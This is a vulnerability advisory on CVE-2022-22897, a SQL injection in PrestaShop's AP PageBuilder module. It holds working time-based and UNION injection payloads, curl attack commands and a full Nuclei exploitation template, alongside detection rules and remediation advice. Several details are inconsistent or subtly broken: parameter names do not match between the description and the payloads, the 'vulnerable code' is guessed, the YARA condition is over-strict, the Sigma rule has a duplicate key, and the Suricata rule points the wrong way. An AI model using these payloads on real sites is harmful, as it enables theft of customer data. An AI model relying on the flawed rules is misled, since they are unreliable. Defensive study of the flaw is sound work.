CVE-2022-22897

Executive Summary

CVE-2022-22897 is a critical unauthenticated SQL injection vulnerability discovered in the ApolloTheme AP PageBuilder component for PrestaShop, affecting versions up to and including 2.4.4. The flaw resides in the product_all_one_img and image_product parameters, allowing remote attackers to execute arbitrary SQL queries without authentication. Successful exploitation can lead to full database exfiltration, including sensitive customer data, credentials, and administrative access. The vulnerability has a CVSS score of 9.8 (Critical) and is actively exploited in the wild, with a high EPSS score of 0.91045. Public proof-of-concept exploits and a Nuclei template are available, making this a high-priority threat for all PrestaShop deployments using the affected component.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via resource exhaustion.

Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and high impact makes this vulnerability extremely dangerous. Public exploit code and active scanning in the wild elevate the risk to maximum.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the AP PageBuilder module for PrestaShop. The module exposes an AJAX endpoint at /modules/appagebuilder/apajax.php that processes user-supplied parameters without proper sanitization or parameterized queries. Specifically, the product_all_one_img and image_product parameters are directly concatenated into SQL queries.

Root Cause: The application fails to use prepared statements or escape user input before embedding it in SQL queries. The vulnerable code likely resembles:

$sql = "SELECT * FROM `ps_product` WHERE `id_product` = " . $_POST['product_all_one_img'];

Attack Flow:

1. An attacker sends a POST request to apajax.php with the leoajax=1 parameter and a malicious payload in product_all_one_img.
2. The payload is injected into the SQL query without sanitization.
3. The attacker can use time-based blind injection (e.g., if(now()=sysdate(),sleep(6),0)) to extract data character by character, or error-based injection to retrieve information directly.
4. The database response is reflected in the HTTP response, allowing data exfiltration.

Example Payload (Time-Based):

leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)

Example Payload (Error-Based):

leoajax=1&product_one_img=-1) OR 6644=6644-- yMwI

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.4.4):

// In apajax.php or similar controller
$id_product = $_POST['product_all_one_img'];
$sql = "SELECT * FROM `ps_product` WHERE `id_product` = " . $id_product;
$result = Db::getInstance()->executeS($sql);

Patched Code (>= 2.4.5):

// Using prepared statements or proper escaping
$id_product = (int)$_POST['product_all_one_img']; // Cast to integer
$sql = "SELECT * FROM `ps_product` WHERE `id_product` = " . (int)$id_product;
// Or use parameterized queries:
$sql = "SELECT * FROM `ps_product` WHERE `id_product` = ?";
$result = Db::getInstance()->executeS($sql, array($id_product));

The patch ensures that user input is either cast to an integer (for numeric fields) or properly escaped/parameterized, preventing SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A PrestaShop instance with AP PageBuilder <= 2.4.4 installed.
• Network access to the /modules/appagebuilder/apajax.php endpoint.

Exploitation Steps:

1. Verify Vulnerability: Send a time-based payload to confirm injection:

   curl -X POST "http://target.com/modules/appagebuilder/apajax.php?rand=123456789" \
   -H "Content-Type: application/x-www-form-urlencoded" \
   -H "X-Requested-With: XMLHttpRequest" \
   -d "leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)"
   

   If the response is delayed by 6 seconds, the vulnerability is confirmed.

2. Extract Database Version: Use error-based injection to retrieve MySQL version:

   curl -X POST "http://target.com/modules/appagebuilder/apajax.php?rand=123456789" \
   -H "Content-Type: application/x-www-form-urlencoded" \
   -H "X-Requested-With: XMLHttpRequest" \
   -d "leoajax=1&product_one_img=-1) OR 1=1 UNION SELECT @@version-- -"
   

3. Automated Exploitation with Nuclei: Use the provided Nuclei template (see Detection Engineering section) for automated scanning and exploitation.

Full Nuclei Template (Provided in Hacker Arsenal):

id: CVE-2022-22897

info:
  name: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection
  author: mastercho
  severity: critical
  description: |
    A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22897
    - https://packetstormsecurity.com/files/cve/CVE-2022-22897
    - https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22897
    cwe-id: CWE-89
    epss-score: 0.91045
    epss-percentile: 0.99645
    cpe: cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: apollotheme
    product: ap_pagebuilder
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: time-based-sqli,cve,cve2022,packetstorm,prestashop,sqli,unauth,apollotheme,vkev,vuln

http:
  - raw:
      - |
        GET /modules/appagebuilder/config.xml HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 20s
        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)

      - |
        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6644=6644-- yMwI

      - |
        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6643=6644-- yMwI

      - |
        @timeout: 20s
        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)

      - |
        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&pro_add=-{{rand_int(0000, 9999)}})

    matchers-condition: or
    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration_2>=6'
          - 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
        condition: and

      - type: dsl
        name: time-based
        dsl:
          - 'duration_5>=6'
          - 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
        condition: and

      - type: dsl
        name: blind-based
        dsl:
          - 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
          - 'contains(body_3, "content") && contains(body_3, "{{Hostname}}")'
          - '!contains(body_4, "content") && !contains(body_4, "{{Hostname}}")'
          - 'len(body_3) > 200 && len(body_4) <= 22'
        condition: and

      - type: dsl
        name: error-based
        dsl:
          - 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
          - 'contains(body_6, "You have an error in your SQL syntax")'
        condition: and

    extractors:
      - type: regex
        name: version
        part: body_1
        internal: true
        group: 1
        regex:
          - "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
# digest: 4a0a00473045022055f1496bcfbee3aff7812b3bd2bbdc2f2e53341e57f1203901676ad90908d816022100f6f0e3a74192f0638ce08bfe735e027d668f41fbc1e0a9d4d6fa086b5a9f6e90:922c64590222798bb761d5b6d8e72950

Blue Team

Detection and Response:

1. Monitor for Suspicious POST Requests:

   • Look for requests to /modules/appagebuilder/apajax.php with parameters leoajax=1 and product_one_img or pro_add containing SQL keywords (e.g., sleep, union, select, or).
   • Alert on time-based anomalies (e.g., response times > 5 seconds).

2. Check Logs:

   • Review web server access logs for patterns like:

     POST /modules/appagebuilder/apajax.php?rand=* HTTP/1.1
     

   • Look for repeated requests with varying rand parameters.

3. Harden the Environment:

   • Immediately upgrade to AP PageBuilder 2.4.5 or later.
   • If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the product_one_img and pro_add parameters.
   • Disable the vulnerable module temporarily if it is not critical.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /modules/appagebuilder/apajax.php with leoajax=1 parameter.
• Presence of SQL keywords in POST body: sleep, union, select, or, and, --, #.
• Response times exceeding 5 seconds for normal requests.

File IOCs:

• Modified or new files in /modules/appagebuilder/ directory.
• Suspicious entries in PrestaShop database tables (e.g., ps_employee, ps_customer).

Log IOCs:

• Web server logs showing repeated POST requests to apajax.php with varying rand values.
• Database error logs containing "You have an error in your SQL syntax" from the apajax.php script.

Detection Engineering

YARA Rule

rule CVE_2022_22897_SQLi_AP_PageBuilder {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2022-22897 in PrestaShop AP PageBuilder"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-22897"
        severity = "critical"
    strings:
        $s1 = "product_one_img=" nocase
        $s2 = "pro_add=" nocase
        $s3 = "sleep(" nocase
        $s4 = "union" nocase
        $s5 = "select" nocase
        $s6 = "or " nocase
        $s7 = "and " nocase
        $s8 = "--" nocase
        $s9 = "apajax.php" nocase
    condition:
        all of ($s1, $s2, $s9) and 1 of ($s3, $s4, $s5, $s6, $s7, $s8)
}

Sigma Rule

title: CVE-2022-22897 SQL Injection Attempt Against PrestaShop AP PageBuilder
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the product_one_img or pro_add parameters in PrestaShop AP PageBuilder module.
author: Valters IT
date: 2025-04-08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22897
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/modules/appagebuilder/apajax.php'
        cs-uri-query|contains: 'rand='
    keywords:
        - 'product_one_img='
        - 'pro_add='
        - 'sleep('
        - 'union'
        - 'select'
        - 'or '
        - 'and '
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the module with non-malicious parameters (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-22897 - PrestaShop AP PageBuilder SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/modules/appagebuilder/apajax.php";
    http_uri;
    content:"leoajax=1";
    http_client_body;
    pcre:"/(product_one_img|pro_add)=.*(sleep\(|union|select|or |and |--)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2022-22897;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the AP PageBuilder module to version 2.4.5 or later. This is the only complete fix.
2. WAF Rules: Deploy virtual patching via WAF to block SQL injection patterns in the vulnerable parameters.
3. Disable Module: If patching is not possible, disable the appagebuilder module entirely until it can be updated.

Long-Term Measures:

• Implement a strict Content Security Policy (CSP) to reduce the impact of XSS if combined with SQLi.
• Conduct regular security audits of all PrestaShop modules.
• Use parameterized queries or prepared statements in all custom development.
• Monitor for similar vulnerabilities in other PrestaShop components.

Verification:

• After patching, run the Nuclei template to confirm the vulnerability is resolved.
• Check the module version in /modules/appagebuilder/config.xml to ensure it is >= 2.4.5.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 403DC67BEA21B2C0457DFB3E] */}